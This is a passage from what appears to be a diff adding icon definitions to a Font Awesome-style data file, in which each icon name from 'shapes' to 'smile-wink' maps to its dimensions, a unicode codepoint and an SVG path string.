24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z"], + "shapes": [512, 512, [], "f61f", "M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z"], + "share": [512, 512, [], "f064", "M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z"], + "share-alt": [448, 512, [], "f1e0", "M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z"], + "share-alt-square": [448, 512, [], "f1e1", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z"], + "share-square": [576, 512, [], "f14d", "M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z"], + "shekel-sign": [448, 512, [], "f20b", "M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z"], + "shield-alt": [512, 512, [], "f3ed", "M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z"], + "shield-virus": [512, 512, [], "e06c", "M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z"], + "ship": [640, 512, [], "f21a", "M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z"], + "shipping-fast": [640, 512, [], "f48b", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "shoe-prints": [640, 512, [], "f54b", "M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z"], + "shopping-bag": [448, 512, [], "f290", "M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z"], + "shopping-basket": [576, 512, [], "f291", "M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z"], + "shopping-cart": [576, 512, [], "f07a", "M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"], + "shower": [512, 512, [], "f2cc", "M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z"], + "shuttle-van": [640, 512, [], "f5b6", "M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z"], + "sign": [512, 512, [], "f4d9", "M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z"], + "sign-in-alt": [512, 512, [], "f2f6", "M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z"], + "sign-language": [448, 512, [], "f2a7", "M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z"], + "sign-out-alt": [512, 512, [], "f2f5", "M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z"], + "signal": [640, 512, [], "f012", "M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"], + "signature": [640, 512, [], "f5b7", "M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z"], + "sim-card": [384, 512, [], "f7c4", "M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z"], + "sink": [512, 512, [], "e06d", "M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z"], + "sitemap": [640, 512, [], "f0e8", "M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "skating": [448, 512, [], "f7c5", "M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"], + "skiing": [512, 512, [], "f7c9", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z"], + "skiing-nordic": [576, 512, [], "f7ca", "M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z"], + "skull": [512, 512, [], "f54c", "M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"], + "skull-crossbones": [448, 512, [], "f714", "M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z"], + "slash": [640, 512, [], "f715", "M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z"], + "sleigh": [640, 512, [], "f7cc", "M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z"], + "sliders-h": [512, 512, [], "f1de", "M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z"], + "smile": [496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z"], + "smile-beam": [496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z"], + "smile-wink": [496, 512, [], "f4da", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 